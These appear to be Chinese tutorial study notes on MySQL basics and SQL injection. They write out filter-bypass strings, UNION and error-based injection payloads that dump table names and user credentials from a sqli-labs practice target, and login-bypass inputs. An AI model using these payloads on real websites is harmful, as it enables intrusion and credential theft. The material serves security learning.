某教程学习笔记(一):09、MYSQL数据库漏洞

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介: 某教程学习笔记(一):09、MYSQL数据库漏洞

一、MYSQL语句


创建数据库


create database test;


选择要操作的数据库


user test


创建表


create table aiyou ( id int, username varchar(20), password varchar(30));


向表中插入数据


insert into aiyou values(1,‘admin’,‘456’);


insert into aiyou values(2,‘boss’,‘123’);


insert into aiyou values(3,‘ttt’,‘123’),(3,‘qqq’,‘321’’);

0a2653c851af460fa595bd959398a8f1.png

显示aiyou表中的所有记录


select * from aiyou;

0eacb84100b54626af849e6b562bf92a.png

从aiyou表中查找满足条件id=1的记录


select * from aiyou where id=1;


从aiyou表中查找满足条件id=1的记录,并只显示username和password字段内容


select username,password from aiyou where id=1;


从aiyou表中查找同时满足条件id=1以及username=“admin”的记录


select * from aiyou where id=1 and username=“admin”;


从aiyou表中查找同时满足条件id=1或者username=“boss”的记录


select * from aiyou where id=1 or username=“boss”;

0a2653c851af460fa595bd959398a8f1.png

drop database test;删除数据库


drop table test;删除表格


update aiyou set password=‘111’ where username=‘boss’ 更新数据


delete from aiyou where username=‘boss’; 删除数据


select load_file(‘c:/111.txt’); 读文件


show databases; 显示当前数据库


show tables;显示选择的数据的所有表

0eacb84100b54626af849e6b562bf92a.png

show create table aiyou \G;显示表结构的详细数据


describe 表名;显示表结构,大写可以自动补全


select database(); 显示当前数据库


select version() 显示数据库版本


select user() 显示当前用户


select now();显示当前时间

0a2653c851af460fa595bd959398a8f1.png

select system_user();获取系统用户名


select current_user();获取当前用户名


select session_user();连接数据库的用户名

0eacb84100b54626af849e6b562bf92a.png

select @@datadir; 读取数据库路径


select @@basedir;mysql安装路径


select @@version_compile_os; 操作系统

0a2653c851af460fa595bd959398a8f1.png

二、数据库连接


三、防注入绕过


目标:http://www.aiyou .com?id=1


1、大小写绕过


http://www.aiyou .com?id=1 And 1=1


2、双写绕过


http://www.aiyou .com?id=1 aandnd 1=1


3、%00绕过


http://www.aiyou .com?id=1 a%00nd 1=1


四、手工注入


1、http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=1 返回正常

0a2653c851af460fa595bd959398a8f1.png

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 返回错误,说明存在注入

0eacb84100b54626af849e6b562bf92a.png

2、判断列数


http://192.168.21.140/sqli/Less-2/index.php?id=1 order by 3 返回正常,4返回返回错误,说明存在三列

2d65d23f6d4748949b924e4057485923.png

3、联合查询


http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,2,3 将2或3输入我们想要查询的内容

0a2653c851af460fa595bd959398a8f1.png

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,version(),database(),获取当前数据库及数据库版本


4、获取表名


http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ 获取security数据库下的表名

0eacb84100b54626af849e6b562bf92a.png

5、获取列名


http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ 获取users表下的列名

2d65d23f6d4748949b924e4057485923.png

6、获取字段内容


http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from users

0a2653c851af460fa595bd959398a8f1.png

五、报错注入


1、获取数据库用户


http://192.168.21.137/sqli/Less-1/index.php?id=1’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user()limit 0,1))a from information_schema.tables group by a)b --+

0eacb84100b54626af849e6b562bf92a.png

2、获取数据库名称


http://192.168.21.137/sqli/Less-1/index.php?id=1’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select database()limit 0,1))a from information_schema.tables group by a)b --+


http://192.168.21.137/sqli/Less-1/index.php?id=1’ and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

0a2653c851af460fa595bd959398a8f1.png

3、获取当前数据库名称,返回的是一个十六进制,需要还原


http://192.168.21.137/sqli/Less-1/index.php?id=1’ and (select 1 from(select count(*),concat((select(select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

0eacb84100b54626af849e6b562bf92a.png 2d65d23f6d4748949b924e4057485923.png

4、获取表名


http://192.168.21.137/sqli/Less-1/index.php?id=1’ and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

0a2653c851af460fa595bd959398a8f1.png

5、获取字段


http://192.168.21.137/sqli/Less-1/index.php?id=1’and(select 1 from(select count(*),concat((select(select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

0eacb84100b54626af849e6b562bf92a.png

6、获取字段内容


http://192.168.21.137/sqli/Less-1/index.php?id=1’ and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x7e,password,0x27,0x7e) FROM users LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

2d65d23f6d4748949b924e4057485923.png

六、后台绕过


1、admin’#


2、admin’ or 1=1 #


3、‘or’=‘or’


4、admin’ or ‘1’='1


5、admin’ #


七、获取网站的根沐浴露


1、报错显示


2、site:目标网站 warning


3、遗留文件phpinfo


4、漏洞爆路径


5、读取配置文件


禁止非法,后果自负

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
20天前
|
关系型数据库 MySQL 网络安全
|
1月前
|
SQL 关系型数据库 MySQL
rds教程
rds教程
27 4
|
1月前
|
SQL 关系型数据库 MySQL
阿里云MySQL数据库价格、购买、创建账号密码和连接数据库教程
阿里云数据库使用指南:购买MySQL、SQL Server等RDS实例,选择配置和地区,完成支付。创建数据库和账号,设置权限。通过DMS登录数据库,使用账号密码访问。同地域VPC内的ECS需将IP加入白名单以实现内网连接。参考链接提供详细步骤。
372 3
|
4天前
|
关系型数据库 MySQL Windows
windows安装MySQL5.7教程
windows安装MySQL5.7教程
16 0
|
1月前
|
弹性计算 关系型数据库 MySQL
阿里云MySQL云数据库优惠价格、购买和使用教程分享!
阿里云数据库使用流程包括购买和管理。首先,选购支持MySQL、SQL Server、PostgreSQL等的RDS实例,如选择2核2GB的MySQL,设定地域和可用区。购买后,等待实例创建。接着,创建数据库和账号,设置DB名称、字符集及账号权限。最后,通过DMS登录数据库,填写账号和密码。若ECS在同一地域和VPC内,可内网连接,记得将ECS IP加入白名单。
443 2
|
1月前
|
SQL 关系型数据库 MySQL
阿里云mysql数据库价格购买和使用教程
阿里云数据库使用指南:购买MySQL、SQL Server等RDS实例,通过选择配置、地域和可用区完成购买。创建数据库和账号,分配权限。使用DMS登录数据库,进行管理操作。确保ECS与RDS在同一地域的VPC内,配置白名单实现内网连接。详细步骤见官方文档。
632 1
|
1月前
|
SQL 关系型数据库 MySQL
关于MySQL8.0.16压缩包安装配置教程
关于MySQL8.0.16压缩包安装配置教程
|
1月前
|
关系型数据库 MySQL 数据库
MySQL安装最全最简教程
MySQL安装最全最简教程
47 0
|
1月前
|
SQL 存储 关系型数据库
MySQL表的增删改查(基础且保姆级的教程)
MySQL表的增删改查(基础且保姆级的教程)
|
2月前
|
缓存 NoSQL 关系型数据库
数据库缓存一致性学习笔记(一)
数据库缓存一致性学习笔记(一)